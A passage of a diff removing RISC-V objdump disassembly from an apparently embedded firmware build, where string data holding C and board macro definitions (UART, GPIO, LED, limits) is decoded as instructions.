-     3bc:	7028                	flw	fa0,96(s0)
-     3be:	0029                	c.nop	10
-     3c0:	5f5f 6673 7265      	0x726566735f5f
-     3c6:	6f72                	flw	ft10,28(sp)
-     3c8:	2872                	fld	fa6,280(sp)
-     3ca:	2970                	fld	fa2,208(a0)
-     3cc:	2820                	fld	fs0,80(s0)
-     3ce:	6928                	flw	fa0,80(a0)
-     3d0:	746e                	flw	fs0,248(sp)
-     3d2:	2829                	jal	3ec <__stack_size-0x414>
-     3d4:	2828                	fld	fa0,80(s0)
-     3d6:	2970                	fld	fa2,208(a0)
-     3d8:	3e2d                	jal	ffffff12 <_heap_end+0x7fff1712>
-     3da:	665f 616c 7367      	0x7367616c665f
-     3e0:	2620                	fld	fs0,72(a2)
-     3e2:	5f20                	lw	s0,120(a4)
-     3e4:	535f 5245 2952      	0x29525245535f
-     3ea:	2120                	fld	fs0,64(a0)
-     3ec:	203d                	jal	41a <__stack_size-0x3e6>
-     3ee:	2930                	fld	fa2,80(a0)
-     3f0:	0029                	c.nop	10
-     3f2:	535f 5f43 5254      	0x52545f43535f
-     3f8:	4341                	li	t1,16
-     3fa:	5f45                	li	t5,-15
-     3fc:	4e49                	li	t3,18
-     3fe:	4548                	lw	a0,12(a0)
-     400:	4952                	lw	s2,20(sp)
-     402:	2054                	fld	fa3,128(s0)
-     404:	3638                	fld	fa4,104(a2)
-     406:	4e00                	lw	s0,24(a2)
-     408:	5f4c                	lw	a1,60(a4)
-     40a:	5241                	li	tp,-16
-     40c:	58414d47          	fmsub.s	fs10,ft2,ft4,fa1,rmm
-     410:	3320                	fld	fs0,96(a4)
-     412:	0032                	c.slli	zero,0xc
-     414:	4c425f53          	0x4c425f53
-     418:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
-     41c:	2045                	jal	4bc <__stack_size-0x344>
-     41e:	3031                	jal	fffffc2a <_heap_end+0x7fff142a>
-     420:	3432                	fld	fs0,296(sp)
-     422:	5200                	lw	s0,32(a2)
-     424:	4f5f 204b 0034      	0x34204b4f5f
-     42a:	435f 4f4c 4b43      	0x4b434f4c435f
-     430:	545f 205f 6e75      	0x6e75205f545f
-     436:	6e676973          	csrrsi	s2,0x6e6,14
-     43a:	6465                	lui	s0,0x19
-     43c:	6c20                	flw	fs0,88(s0)
-     43e:	00676e6f          	jal	t3,76444 <__stack_size+0x75c44>
-     442:	5f5f 6168 6576      	0x657661685f5f
-     448:	6c5f 6e6f 6c67      	0x6c676e6f6c5f
-     44e:	36676e6f          	jal	t3,767b4 <__stack_size+0x75fb4>
-     452:	2034                	fld	fa3,64(s0)
-     454:	0031                	c.nop	12
-     456:	5f5f 5450 4452      	0x445254505f5f
-     45c:	4649                	li	a2,18
-     45e:	5f46                	lw	t5,112(sp)
-     460:	414d                	li	sp,19
-     462:	5f58                	lw	a4,60(a4)
-     464:	205f 7830 6637      	0x66377830205f
-     46a:	6666                	flw	fa2,88(sp)
-     46c:	6666                	flw	fa2,88(sp)
-     46e:	6666                	flw	fa2,88(sp)
-     470:	4900                	lw	s0,16(a0)
-     472:	544e                	lw	s0,240(sp)
-     474:	3436                	fld	fs0,360(sp)
-     476:	4d5f 4e49 2820      	0x28204e494d5f
-     47c:	492d                	li	s2,11
-     47e:	544e                	lw	s0,240(sp)
-     480:	3436                	fld	fs0,360(sp)
-     482:	4d5f 5841 2d20      	0x2d2058414d5f
-     488:	3120                	fld	fs0,96(a0)
-     48a:	0029                	c.nop	10
-     48c:	495f 544e 414d      	0x414d544e495f
-     492:	5f58                	lw	a4,60(a4)
-     494:	5f54                	lw	a3,60(a4)
-     496:	4544                	lw	s1,12(a0)
-     498:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-     49c:	4445                	li	s0,17
-     49e:	0020                	addi	s0,sp,8
-     4a0:	4342                	lw	t1,16(sp)
-     4a2:	535f 4143 454c      	0x454c4143535f
-     4a8:	4d5f 5841 3920      	0x392058414d5f
-     4ae:	0039                	c.nop	14
-     4b0:	5f5f 4c46 3654      	0x36544c465f5f
-     4b6:	5f34                	lw	a3,120(a4)
-     4b8:	494d                	li	s2,19
-     4ba:	5f4e                	lw	t5,240(sp)
-     4bc:	3031                	jal	fffffcc8 <_heap_end+0x7fff14c8>
-     4be:	455f 5058 5f5f      	0x5f5f5058455f
-     4c4:	2820                	fld	fs0,80(s0)
-     4c6:	332d                	jal	1f0 <__stack_size-0x610>
-     4c8:	3730                	fld	fa2,104(a4)
-     4ca:	0029                	c.nop	10
-     4cc:	5442                	lw	s0,48(sp)
-     4ce:	314e                	fld	ft2,240(sp)
-     4d0:	3320                	fld	fs0,96(a4)
-     4d2:	0030                	addi	a2,sp,8
-     4d4:	5f5f 4e47 4355      	0x43554e475f5f
-     4da:	494c                	lw	a1,20(a0)
-     4dc:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-     4e0:	4955                	li	s2,21
-     4e2:	544c                	lw	a1,44(s0)
-     4e4:	4e49                	li	t3,18
-     4e6:	435f 4e4f 5453      	0x54534e4f435f
-     4ec:	4e41                	li	t3,16
-     4ee:	5f54                	lw	a3,60(a4)
-     4f0:	2050                	fld	fa2,128(s0)
-     4f2:	0031                	c.nop	12
-     4f4:	5f5f 6975 746e      	0x746e69755f5f
-     4fa:	5f38                	lw	a4,120(a4)
-     4fc:	0074                	addi	a3,sp,12
-     4fe:	535f 5f43 4854      	0x48545f43535f
-     504:	4552                	lw	a0,20(sp)
-     506:	4441                	li	s0,16
-     508:	505f 4952 524f      	0x524f4952505f
-     50e:	5449                	li	s0,-14
-     510:	5f59                	li	t5,-10
-     512:	45484353          	0x45484353
-     516:	5544                	lw	s1,44(a0)
-     518:	494c                	lw	a1,20(a0)
-     51a:	474e                	lw	a4,208(sp)
-     51c:	3420                	fld	fs0,104(s0)
-     51e:	0035                	c.nop	13
-     520:	5f5f 4357 4148      	0x414843575f5f
-     526:	5f52                	lw	t5,52(sp)
-     528:	5954                	lw	a3,52(a0)
-     52a:	4550                	lw	a2,12(a0)
-     52c:	5f5f 6920 746e      	0x746e69205f5f
-     532:	5500                	lw	s0,40(a0)
-     534:	4e49                	li	t3,18
-     536:	5f54                	lw	a3,60(a4)
-     538:	4146                	lw	sp,80(sp)
-     53a:	34365453          	0x34365453
-     53e:	4d5f 5841 5f00      	0x5f0058414d5f
-     544:	755f 6964 6476      	0x64766964755f
-     54a:	3369                	jal	2d4 <__stack_size-0x52c>
-     54c:	5f00                	lw	s0,56(a4)
-     54e:	705f 6972 746e      	0x746e6972705f
-     554:	6c66                	flw	fs8,88(sp)
-     556:	6b69                	lui	s6,0x1a
-     558:	2865                	jal	610 <__stack_size-0x1f0>
-     55a:	6d66                	flw	fs10,88(sp)
-     55c:	6174                	flw	fa3,68(a0)
-     55e:	6772                	flw	fa4,28(sp)
-     560:	662c                	flw	fa1,72(a2)
-     562:	7269                	lui	tp,0xffffa
-     564:	61767473          	csrrci	s0,0x617,12
-     568:	6172                	flw	ft2,28(sp)
-     56a:	6772                	flw	fa4,28(sp)
-     56c:	2029                	jal	576 <__stack_size-0x28a>
-     56e:	5f5f 7461 7274      	0x727474615f5f
-     574:	6269                	lui	tp,0x1a
-     576:	7475                	lui	s0,0xffffd
-     578:	5f65                	li	t5,-7
-     57a:	285f 5f28 665f      	0x665f5f28285f
-     580:	616d726f          	jal	tp,d7b96 <__stack_size+0xd7396>
-     584:	5f74                	lw	a3,124(a4)
-     586:	205f 5f28 705f      	0x705f5f28205f
-     58c:	6972                	flw	fs2,28(sp)
-     58e:	746e                	flw	fs0,248(sp)
-     590:	5f66                	lw	t5,120(sp)
-     592:	2c5f 6620 746d      	0x746d66202c5f
-     598:	7261                	lui	tp,0xffff8
-     59a:	66202c67          	0x66202c67
-     59e:	7269                	lui	tp,0xffffa
-     5a0:	61767473          	csrrci	s0,0x617,12
-     5a4:	6172                	flw	ft2,28(sp)
-     5a6:	6772                	flw	fa4,28(sp)
-     5a8:	2929                	jal	9c2 <__stack_size+0x1c2>
-     5aa:	0029                	c.nop	10
-     5ac:	5f5f 5453 4344      	0x434454535f5f
-     5b2:	5f5f 3120 5f00      	0x5f0031205f5f
-     5b8:	754e                	flw	fa0,240(sp)
-     5ba:	6c6c                	flw	fa1,92(s0)
-     5bc:	755f 736e 6570      	0x6570736e755f
-     5c2:	69666963          	bltu	a2,s6,c54 <__stack_size+0x454>
-     5c6:	6465                	lui	s0,0x19
-     5c8:	0020                	addi	s0,sp,8
-     5ca:	4355                	li	t1,21
-     5cc:	4148                	lw	a0,4(a0)
-     5ce:	5f52                	lw	t5,52(sp)
-     5d0:	414d                	li	sp,19
-     5d2:	2058                	fld	fa4,128(s0)
-     5d4:	5328                	lw	a0,96(a4)
-     5d6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-     5da:	4d5f 5841 2a20      	0x2a2058414d5f
-     5e0:	3220                	fld	fs0,96(a2)
-     5e2:	2b20                	fld	fs0,80(a4)
-     5e4:	3120                	fld	fs0,96(a0)
-     5e6:	0029                	c.nop	10
-     5e8:	6566                	flw	fa0,88(sp)
-     5ea:	7272                	flw	ft4,60(sp)
-     5ec:	755f726f          	jal	tp,f8540 <__stack_size+0xf7d40>
-     5f0:	6c6e                	flw	fs8,216(sp)
-     5f2:	656b636f          	jal	t1,b6c48 <__stack_size+0xb6448>
-     5f6:	2864                	fld	fs1,208(s0)
-     5f8:	2970                	fld	fa2,208(a0)
-     5fa:	5f20                	lw	s0,120(a4)
-     5fc:	735f 6566 7272      	0x72726566735f
-     602:	7028726f          	jal	tp,87d04 <__stack_size+0x87504>
-     606:	0029                	c.nop	10
-     608:	525f 4145 5f44      	0x5f444145525f
-     60e:	54495257          	0x54495257
-     612:	5f45                	li	t5,-15
-     614:	5542                	lw	a0,48(sp)
-     616:	5346                	lw	t1,112(sp)
-     618:	5a49                	li	s4,-14
-     61a:	5f45                	li	t5,-15
-     61c:	5954                	lw	a3,52(a0)
-     61e:	4550                	lw	a2,12(a0)
-     620:	6920                	flw	fs0,80(a0)
-     622:	746e                	flw	fs0,248(sp)
-     624:	5f00                	lw	s0,56(a4)
-     626:	505f4353          	0x505f4353
-     62a:	4741                	li	a4,16
-     62c:	5f45                	li	t5,-15
-     62e:	455a4953          	0x455a4953
-     632:	5f20                	lw	s0,120(a4)
-     634:	505f4353          	0x505f4353
-     638:	4741                	li	a4,16
-     63a:	5345                	li	t1,-15
-     63c:	5a49                	li	s4,-14
-     63e:	0045                	c.nop	17
-     640:	5f5f 4c46 3354      	0x33544c465f5f
-     646:	5f32                	lw	t5,44(sp)
-     648:	414d                	li	sp,19
-     64a:	5f58                	lw	a4,60(a4)
-     64c:	5845                	li	a6,-15
-     64e:	5f50                	lw	a2,60(a4)
-     650:	205f 3231 0038      	0x383231205f
-     656:	4155                	li	sp,21
-     658:	5452                	lw	s0,52(sp)
-     65a:	525f 4658 4649      	0x46494658525f
-     660:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-     664:	3430                	fld	fa2,104(s0)
-     666:	5f00                	lw	s0,56(a4)
-     668:	535f 524f 2044      	0x2044524f535f
-     66e:	7830                	flw	fa2,112(s0)
-     670:	3032                	fld	ft0,296(sp)
-     672:	3030                	fld	fa2,96(s0)
-     674:	5000                	lw	s0,32(s0)
-     676:	494c                	lw	a1,20(a0)
-     678:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
-     67c:	5f49                	li	t5,-14
-     67e:	46494853          	0x46494853
-     682:	5f54                	lw	a3,60(a4)
-     684:	4550                	lw	a2,12(a0)
-     686:	5f52                	lw	t5,52(sp)
-     688:	52554f53          	0x52554f53
-     68c:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
-     690:	5f00                	lw	s0,56(a4)
-     692:	555f 4e49 3654      	0x36544e49555f
-     698:	5f34                	lw	a3,120(a4)
-     69a:	5954                	lw	a3,52(a0)
-     69c:	4550                	lw	a2,12(a0)
-     69e:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-     6a4:	6f6c2067          	0x6f6c2067
-     6a8:	676e                	flw	fa4,216(sp)
-     6aa:	7520                	flw	fs0,104(a0)
-     6ac:	736e                	flw	ft6,248(sp)
-     6ae:	6769                	lui	a4,0x1a
-     6b0:	656e                	flw	fa0,216(sp)
-     6b2:	2064                	fld	fs1,192(s0)
-     6b4:	6e69                	lui	t3,0x1a
-     6b6:	0074                	addi	a3,sp,12
-     6b8:	52495f53          	0x52495f53
-     6bc:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
-     6c0:	3030                	fld	fa2,96(s0)
-     6c2:	3030                	fld	fa2,96(s0)
-     6c4:	3030                	fld	fa2,96(s0)
-     6c6:	0034                	addi	a3,sp,8
-     6c8:	5f5f 4244 5f4c      	0x5f4c42445f5f
-     6ce:	414d                	li	sp,19
-     6d0:	5f58                	lw	a4,60(a4)
-     6d2:	3031                	jal	fffffede <_heap_end+0x7fff16de>
-     6d4:	455f 5058 5f5f      	0x5f5f5058455f
-     6da:	3320                	fld	fs0,96(a4)
-     6dc:	3830                	fld	fa2,112(s0)
-     6de:	4300                	lw	s0,0(a4)
-     6e0:	4d5f5253          	0x4d5f5253
-     6e4:	5048                	lw	a0,36(s0)
-     6e6:	434d                	li	t1,19
-     6e8:	544e554f          	0x544e554f
-     6ec:	5245                	li	tp,-15
-     6ee:	3732                	fld	fa4,296(sp)
-     6f0:	3220                	fld	fs0,96(a2)
-     6f2:	0032                	c.slli	zero,0xc
-     6f4:	5f5f 6f63 736e      	0x736e6f635f5f
-     6fa:	2074                	fld	fa3,192(s0)
-     6fc:	736e6f63          	bltu	t3,s6,e3a <__stack_size+0x63a>
-     700:	0074                	addi	a3,sp,12
-     702:	535f 5f43 5049      	0x50495f43535f
-     708:	3656                	fld	fa2,368(sp)
-     70a:	3620                	fld	fs0,104(a2)
-     70c:	4c550037          	lui	zero,0x4c550
-     710:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-     714:	4f4c                	lw	a1,28(a4)
-     716:	474e                	lw	a4,208(sp)
-     718:	4d5f 5841 5f00      	0x5f0058414d5f
-     71e:	475f 554e 4c43      	0x4c43554e475f
-     724:	4b49                	li	s6,18
-     726:	5f45                	li	t5,-15
-     728:	5f5f 5954 4550      	0x455059545f5f
-     72e:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
-     732:	5f00                	lw	s0,56(a4)
-     734:	545f4353          	0x545f4353
-     738:	5248                	lw	a0,36(a2)
-     73a:	4145                	li	sp,17
-     73c:	5f44                	lw	s1,60(a4)
-     73e:	45464153          	0x45464153
-     742:	465f 4e55 5443      	0x54434e55465f
-     748:	4f49                	li	t5,18
-     74a:	534e                	lw	t1,240(sp)
-     74c:	3420                	fld	fs0,104(s0)
-     74e:	0039                	c.nop	14
-     750:	535f 5f43 4f58      	0x4f585f43535f
-     756:	4550                	lw	a2,12(a0)
-     758:	5f4e                	lw	t5,240(sp)
-     75a:	5555                	li	a0,-11
-     75c:	31205043          	fmadd.s	ft0,ft0,fs2,ft6,unknown
-     760:	3432                	fld	fs0,296(sp)
-     762:	5f00                	lw	s0,56(a4)
-     764:	445f 4c42 4d5f      	0x4d5f4c42445f
-     76a:	4e49                	li	t3,18
-     76c:	5f5f 2820 6428      	0x642828205f5f
-     772:	6c62756f          	jal	a0,27e38 <__stack_size+0x27638>
-     776:	2965                	jal	c2e <__stack_size+0x42e>
-     778:	2e32                	fld	ft8,264(sp)
-     77a:	3232                	fld	ft4,296(sp)
-     77c:	3035                	jal	ffffffa8 <_heap_end+0x7fff17a8>
-     77e:	35383337          	lui	t1,0x35383
-     782:	3538                	fld	fa4,104(a0)
-     784:	3730                	fld	fa2,104(a4)
-     786:	3032                	fld	ft0,296(sp)
-     788:	3331                	jal	494 <__stack_size-0x36c>
-     78a:	3338                	fld	fa4,96(a4)
-     78c:	3930                	fld	fa2,112(a0)
-     78e:	3230                	fld	fa2,96(a2)
-     790:	31373233          	0x31373233
-     794:	32333337          	lui	t1,0x32333
-     798:	3034                	fld	fa3,96(s0)
-     79a:	3034                	fld	fa3,96(s0)
-     79c:	6536                	flw	fa0,76(sp)
-     79e:	332d                	jal	4c8 <__stack_size-0x338>
-     7a0:	3830                	fld	fa2,112(s0)
-     7a2:	294c                	fld	fa1,144(a0)
-     7a4:	5f00                	lw	s0,56(a4)
-     7a6:	455f 464c 5f5f      	0x5f5f464c455f
-     7ac:	3120                	fld	fs0,96(a0)
-     7ae:	5f00                	lw	s0,56(a4)
-     7b0:	535f 5a49 4f45      	0x4f455a49535f
-     7b6:	5f46                	lw	t5,112(sp)
-     7b8:	4f4c                	lw	a1,28(a4)
-     7ba:	474e                	lw	a4,208(sp)
-     7bc:	5f5f 3420 5f00      	0x5f0034205f5f
-     7c2:	6e5f 6565 5f64      	0x5f6465656e5f
-     7c8:	746e6977          	0x746e6977
-     7cc:	745f 0020 475f      	0x475f0020745f
-     7d2:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
-     7d6:	5845                	li	a6,-15
-     7d8:	5f54                	lw	a3,60(a4)
-     7da:	494c                	lw	a1,20(a0)
-     7dc:	494d                	li	s2,19
-     7de:	5354                	lw	a3,36(a4)
-     7e0:	485f 0020 5f5f      	0x5f5f0020485f
-     7e6:	41484357          	0x41484357
-     7ea:	5f52                	lw	t5,52(sp)
-     7ec:	5f54                	lw	a3,60(a4)
-     7ee:	205f 5500 5241      	0x52415500205f
-     7f4:	5f54                	lw	a3,60(a4)
-     7f6:	4944                	lw	s1,20(a0)
-     7f8:	2056                	fld	ft0,336(sp)
-     7fa:	7830                	flw	fa2,112(s0)
-     7fc:	3831                	jal	18 <__stack_size-0x7e8>
-     7fe:	4700                	lw	s0,8(a4)
-     800:	4950                	lw	a2,20(a0)
-     802:	52445f4f          	fnmadd.d	ft10,fs0,ft4,fa0,unknown
-     806:	5649                	li	a2,-14
-     808:	2045                	jal	8a8 <__stack_size+0xa8>
-     80a:	7830                	flw	fa2,112(s0)
-     80c:	3431                	jal	218 <__stack_size-0x5e8>
-     80e:	7000                	flw	fs0,32(s0)
-     810:	7968                	flw	fa0,116(a0)
-     812:	72646173          	csrrsi	sp,0x726,8
-     816:	7020                	flw	fs0,96(s0)
-     818:	7968                	flw	fa0,116(a0)
-     81a:	72646173          	csrrsi	sp,0x726,8
-     81e:	745f 5f00 6e5f      	0x6e5f5f00745f
-     824:	6565                	lui	a0,0x19
-     826:	5f64                	lw	s1,124(a4)
-     828:	5f5f 6176 6c5f      	0x6c5f61765f5f
-     82e:	7369                	lui	t1,0xffffa
-     830:	0074                	addi	a3,sp,12
-     832:	5f5f 4156 494c      	0x494c41565f5f
-     838:	5f205453          	0x5f205453
-     83c:	675f 756e 5f63      	0x5f63756e675f
-     842:	6176                	flw	ft2,92(sp)
-     844:	6c5f 7369 0074      	0x7473696c5f
-     84a:	5f555043          	fmadd.q	ft0,fa0,fs5,fa1,unknown
-     84e:	5246                	lw	tp,112(sp)
-     850:	5145                	li	sp,-15
-     852:	3620                	fld	fs0,104(a2)
-     854:	3934                	fld	fa3,112(a0)
-     856:	3839                	jal	74 <__stack_size-0x78c>
-     858:	3434                	fld	fa3,104(s0)
-     85a:	0032                	c.slli	zero,0xc
-     85c:	7571                	lui	a0,0xffffc
-     85e:	6461                	lui	s0,0x18
-     860:	7120                	flw	fs0,96(a0)
-     862:	6175                	addi	sp,sp,368
-     864:	5f64                	lw	s1,124(a4)
-     866:	0074                	addi	a3,sp,12
-     868:	454c                	lw	a1,12(a0)
-     86a:	5f44                	lw	s1,60(a4)
-     86c:	4c42                	lw	s8,16(sp)
-     86e:	4555                	li	a0,21
-     870:	3320                	fld	fs0,96(a4)
-     872:	5300                	lw	s0,32(a4)
-     874:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-     878:	4d5f 5841 5f20      	0x5f2058414d5f
-     87e:	535f 4843 5241      	0x52414843535f
-     884:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     88a:	5f00                	lw	s0,56(a4)
-     88c:	4f50                	lw	a2,28(a4)
-     88e:	5f584953          	0x5f584953
-     892:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
-     896:	5255                	li	tp,-11
-     898:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
-     89c:	535f 5248 5f54      	0x5f545248535f
-     8a2:	54444957          	0x54444957
-     8a6:	5f48                	lw	a0,60(a4)
-     8a8:	205f 3631 5500      	0x55003631205f
-     8ae:	4e49                	li	t3,18
-     8b0:	5f54                	lw	a3,60(a4)
-     8b2:	414d                	li	sp,19
-     8b4:	2058                	fld	fa4,128(s0)
-     8b6:	4928                	lw	a0,80(a0)
-     8b8:	544e                	lw	s0,240(sp)
-     8ba:	4d5f 5841 2a20      	0x2a2058414d5f
-     8c0:	3220                	fld	fs0,96(a2)
-     8c2:	2055                	jal	966 <__stack_size+0x166>
-     8c4:	5531202b          	0x5531202b
-     8c8:	0029                	c.nop	10
-     8ca:	5f5f 2850 7270      	0x727028505f5f
-     8d0:	736f746f          	jal	s0,f8006 <__stack_size+0xf7806>
-     8d4:	2029                	jal	8de <__stack_size+0xde>
-     8d6:	7270                	flw	fa2,100(a2)
-     8d8:	736f746f          	jal	s0,f800e <__stack_size+0xf780e>
-     8dc:	5f00                	lw	s0,56(a4)
-     8de:	465f 544c 3233      	0x3233544c465f
-     8e4:	5f58                	lw	a4,60(a4)
-     8e6:	494d                	li	s2,19
-     8e8:	5f4e                	lw	t5,240(sp)
-     8ea:	3031                	jal	f6 <__stack_size-0x70a>
-     8ec:	455f 5058 5f5f      	0x5f5f5058455f
-     8f2:	2820                	fld	fs0,80(s0)
-     8f4:	332d                	jal	61e <__stack_size-0x1e2>
-     8f6:	3730                	fld	fa2,104(a4)
-     8f8:	0029                	c.nop	10
-     8fa:	5f5f 695f 746e      	0x746e695f5f5f
-     900:	6c5f 6165 7473      	0x747361656c5f
-     906:	745f3233          	0x745f3233
-     90a:	645f 6665 6e69      	0x6e696665645f
-     910:	6465                	lui	s0,0x19
-     912:	3120                	fld	fs0,96(a0)
-     914:	4600                	lw	s0,8(a2)
-     916:	5845                	li	a6,-15
-     918:	5f204c43          	fmadd.q	fs8,ft0,fs2,fa1,rmm
-     91c:	4546                	lw	a0,80(sp)
-     91e:	4358                	lw	a4,4(a4)
-     920:	004c                	addi	a1,sp,4
-     922:	74727473          	csrrci	s0,0x747,4
-     926:	2066646f          	jal	s0,66b2c <__stack_size+0x6632c>
-     92a:	74727473          	csrrci	s0,0x747,4
-     92e:	5f00666f          	jal	a2,6f1e <__stack_size+0x671e>
-     932:	495f 544e 465f      	0x465f544e495f
-     938:	5341                	li	t1,-16
-     93a:	3154                	fld	fa3,160(a0)
-     93c:	5f36                	lw	t5,108(sp)
-     93e:	54444957          	0x54444957
-     942:	5f48                	lw	a0,60(a4)
-     944:	205f 3233 5f00      	0x5f003233205f
-     94a:	465f 544c 485f      	0x485f544c465f
-     950:	5341                	li	t1,-16
-     952:	495f 464e 4e49      	0x4e49464e495f
-     958:	5449                	li	s0,-14
-     95a:	5f59                	li	t5,-10
-     95c:	205f 0031 475f      	0x475f0031205f
-     962:	4f4c                	lw	a1,28(a4)
-     964:	4142                	lw	sp,16(sp)
-     966:	5f4c                	lw	a1,60(a4)
-     968:	4552                	lw	a0,20(sp)
-     96a:	4e45                	li	t3,17
-     96c:	2054                	fld	fa3,128(s0)
-     96e:	675f 6f6c 6162      	0x61626f6c675f
-     974:	5f6c                	lw	a1,124(a4)
-     976:	6d69                	lui	s10,0x1a
-     978:	7570                	flw	fa2,108(a0)
-     97a:	6572                	flw	fa0,28(sp)
-     97c:	705f 7274 5f00      	0x5f007274705f
-     982:	465f 544c 3231      	0x3231544c465f
-     988:	5f38                	lw	a4,120(a4)
-     98a:	494d                	li	s2,19
-     98c:	5f4e                	lw	t5,240(sp)
-     98e:	3031                	jal	19a <__stack_size-0x666>
-     990:	455f 5058 5f5f      	0x5f5f5058455f
-     996:	2820                	fld	fs0,80(s0)
-     998:	342d                	jal	3c2 <__stack_size-0x43e>
-     99a:	3339                	jal	6a8 <__stack_size-0x158>
-     99c:	2931                	jal	db8 <__stack_size+0x5b8>
-     99e:	5f00                	lw	s0,56(a4)
-     9a0:	4552                	lw	a0,20(sp)
-     9a2:	28363147          	fmsub.s	ft2,fa2,ft3,ft5,rup
-     9a6:	6162                	flw	ft2,24(sp)
-     9a8:	6f2c6573          	csrrsi	a0,0x6f2,24
-     9ac:	6666                	flw	fa2,88(sp)
-     9ae:	29746573          	csrrsi	a0,0x297,8
-     9b2:	2820                	fld	fs0,80(s0)
-     9b4:	282a                	fld	fa6,136(sp)
-     9b6:	6f76                	flw	ft10,92(sp)
-     9b8:	616c                	flw	fa1,68(a0)
-     9ba:	6974                	flw	fa3,84(a0)
-     9bc:	656c                	flw	fa1,76(a0)
-     9be:	7520                	flw	fs0,104(a0)
-     9c0:	6e69                	lui	t3,0x1a
-     9c2:	3174                	fld	fa3,224(a0)
-     9c4:	5f36                	lw	t5,108(sp)
-     9c6:	2074                	fld	fa3,192(s0)
-     9c8:	292a                	fld	fs2,136(sp)
-     9ca:	2828                	fld	fa0,80(s0)
-     9cc:	6162                	flw	ft2,24(sp)
-     9ce:	20296573          	csrrsi	a0,hedeleg,18
-     9d2:	6f28202b          	0x6f28202b
-     9d6:	6666                	flw	fa2,88(sp)
-     9d8:	29746573          	csrrsi	a0,0x297,8
-     9dc:	2929                	jal	df6 <__stack_size+0x5f6>
-     9de:	7000                	flw	fs0,32(s0)
-     9e0:	6972                	flw	fs2,28(sp)
-     9e2:	746e                	flw	fs0,248(sp)
-     9e4:	735f 6174 7374      	0x73746174735f
-     9ea:	5f00                	lw	s0,56(a4)
-     9ec:	575f 4843 5241      	0x52414843575f
-     9f2:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-     9f8:	2820                	fld	fs0,80(s0)
-     9fa:	5f2d                	li	t5,-21
-     9fc:	575f 4843 5241      	0x52414843575f
-     a02:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     a08:	2d20                	fld	fs0,88(a0)
-     a0a:	3120                	fld	fs0,96(a0)
-     a0c:	0029                	c.nop	10
-     a0e:	4e49                	li	t3,18
-     a10:	5f54                	lw	a3,60(a4)
-     a12:	4146                	lw	sp,80(sp)
-     a14:	34365453          	0x34365453
-     a18:	4d5f 5841 5f20      	0x5f2058414d5f
-     a1e:	495f 544e 465f      	0x465f544e495f
-     a24:	5341                	li	t1,-16
-     a26:	3654                	fld	fa3,168(a2)
-     a28:	5f34                	lw	a3,120(a4)
-     a2a:	414d                	li	sp,19
-     a2c:	5f58                	lw	a4,60(a4)
-     a2e:	005f 505f 4854      	0x4854505f005f
-     a34:	4552                	lw	a0,20(sp)
-     a36:	4441                	li	s0,16
-     a38:	4d5f 5455 5845      	0x584554554d5f
-     a3e:	495f 494e 4954      	0x4954494e495f
-     a44:	4c41                	li	s8,16
-     a46:	5a49                	li	s4,-14
-     a48:	5245                	li	tp,-15
-     a4a:	2820                	fld	fs0,80(s0)
-     a4c:	7028                	flw	fa0,96(s0)
-     a4e:	6874                	flw	fa3,84(s0)
-     a50:	6572                	flw	fa0,28(sp)
-     a52:	6461                	lui	s0,0x18
-     a54:	6d5f 7475 7865      	0x786574756d5f
-     a5a:	745f 2029 7830      	0x78302029745f
-     a60:	4646                	lw	a2,80(sp)
-     a62:	4646                	lw	a2,80(sp)
-     a64:	4646                	lw	a2,80(sp)
-     a66:	4646                	lw	a2,80(sp)
-     a68:	0029                	c.nop	10
-     a6a:	4e49                	li	t3,18
-     a6c:	5f54                	lw	a3,60(a4)
-     a6e:	494d                	li	s2,19
-     a70:	204e                	fld	ft0,208(sp)
-     a72:	2d28                	fld	fa0,88(a0)
-     a74:	4e49                	li	t3,18
-     a76:	5f54                	lw	a3,60(a4)
-     a78:	414d                	li	sp,19
-     a7a:	2058                	fld	fa4,128(s0)
-     a7c:	202d                	jal	aa6 <__stack_size+0x2a6>
-     a7e:	2931                	jal	e9a <__stack_size+0x69a>
-     a80:	5f00                	lw	s0,56(a4)
-     a82:	5355                	li	t1,-11
-     a84:	4345                	li	t1,17
-     a86:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
-     a8a:	545f 445f 4345      	0x4345445f545f
-     a90:	414c                	lw	a1,4(a0)
-     a92:	4552                	lw	a0,20(sp)
-     a94:	2044                	fld	fs1,128(s0)
-     a96:	5f00                	lw	s0,56(a4)
-     a98:	435f4353          	0x435f4353
-     a9c:	4948                	lw	a0,20(a0)
-     a9e:	444c                	lw	a1,12(s0)
-     aa0:	4d5f 5841 3120      	0x312058414d5f
-     aa6:	5f00                	lw	s0,56(a4)
-     aa8:	705f 6572 6964      	0x69646572705f
-     aae:	745f7463          	bgeu	t5,t0,11f6 <__stack_size+0x9f6>
-     ab2:	7572                	flw	fa0,60(sp)
-     ab4:	2865                	jal	b6c <__stack_size+0x36c>
-     ab6:	7865                	lui	a6,0xffff9
-     ab8:	2970                	fld	fa2,208(a0)
-     aba:	5f20                	lw	s0,120(a4)
-     abc:	625f 6975 746c      	0x746c6975625f
-     ac2:	6e69                	lui	t3,0x1a
-     ac4:	655f 7078 6365      	0x63657078655f
-     aca:	2874                	fld	fa3,208(s0)
-     acc:	6528                	flw	fa0,72(a0)
-     ace:	7078                	flw	fa4,100(s0)
-     ad0:	2c29                	jal	cea <__stack_size+0x4ea>
-     ad2:	3120                	fld	fs0,96(a0)
-     ad4:	0029                	c.nop	10
-     ad6:	52495f53          	0x52495f53
-     ada:	204f5857          	0x204f5857
-     ade:	5328                	lw	a0,96(a4)
